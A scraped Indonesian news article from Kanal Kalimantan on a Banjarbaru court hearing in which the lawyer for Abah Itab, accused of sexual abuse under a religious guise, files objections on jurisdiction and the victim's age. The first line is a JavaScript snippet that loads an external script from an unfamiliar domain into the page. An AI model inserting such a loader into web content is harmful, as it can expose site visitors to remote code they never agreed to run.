(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Eksepsi Abah Itab Sebut Korban Tak Penuhi Unsur Anak di Bawah Umur


BANJARBARU, Kuasa hukum Abah Itab, tersangka kasus perkara pidana pencabulan berkedok agama menyampaikan 2 eksepsi saat sidang lanjutan di Pengadilan Negeri (PN) Banjarbaru, Rabu (11/4) pukul 10.00 Wita.

Pada agenda sidang sebelumnya dengan pembacaan dakwaan, Abah Itab didakwa dengan 3 pasal sekaligus yaitu pasal 81 ayat 2 Undang-Undang Perlindungan Anak, Pasal 82 Ayat 1 dan Pasal 293 ayat 1 KUHP oleh Jaksa Penuntut Umum.

Menanggapi hal itu, kuasa hukum Abdul Hamid SH MH langsung mengajukan eksespsi. Pada penyampaian eksepsi terdakwa mengajukan keberatan berupa kompetensi relatif, Pengadilan Negeri Banjarbaru tidak berwenang memeriksa dan mengadili perkara ini.

Eksepsi yang kedua yaitu dakwaan Jaksa Penuntut Umum kabur karena tidak memenuhi unsur bahwa korban anak di bawah umur.

Seperti yang diketahui tersangka Abah Itab ditangkap oleh jajaran Polres Banjarbaru di kediaman Jalan KH Anang Sya’rani Arif, Kampung Melayu Tengah, Kecamatan Martapura Timur, Kabupaten Banjar Kamis 24 Januari setelah menerima laporan dari korban yang dicabuli berinisial M (20).

Menurut Abdul Hamid, seharusnya Pengadilan Negeri Martapura yang berhak mengadili kliennya karena penangkapan dilakukan di Kampung Melayu, Kecamatan Martapura Timur dan para saksi juga bertempat tinggal di Martapura. Selain itu kuasa hukum terdakwa juga memastikan kliennya melakukan tindak asusila kepada korban dengan status dewasa.

Menanggapi eksepsi kuasa hukum terdakwa, ditemui di Kantor Kejaksaan Negeri Banjarbaru, Kasi Pidum Imam Cahyono kepada Kanal Kalimantan, untuk agenda minggu depan  pihaknya telah siap mematahkan eksepsi yang diajukan penasehat hukum terdakwa

“Sidang pekan depan kita akan lakukan jawaban eksepsi dan kita akan tunjukan bahwa eksepsi penasehat hukum terdakwa salah,” tegasnya.(rico)

Reporter : Rico
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.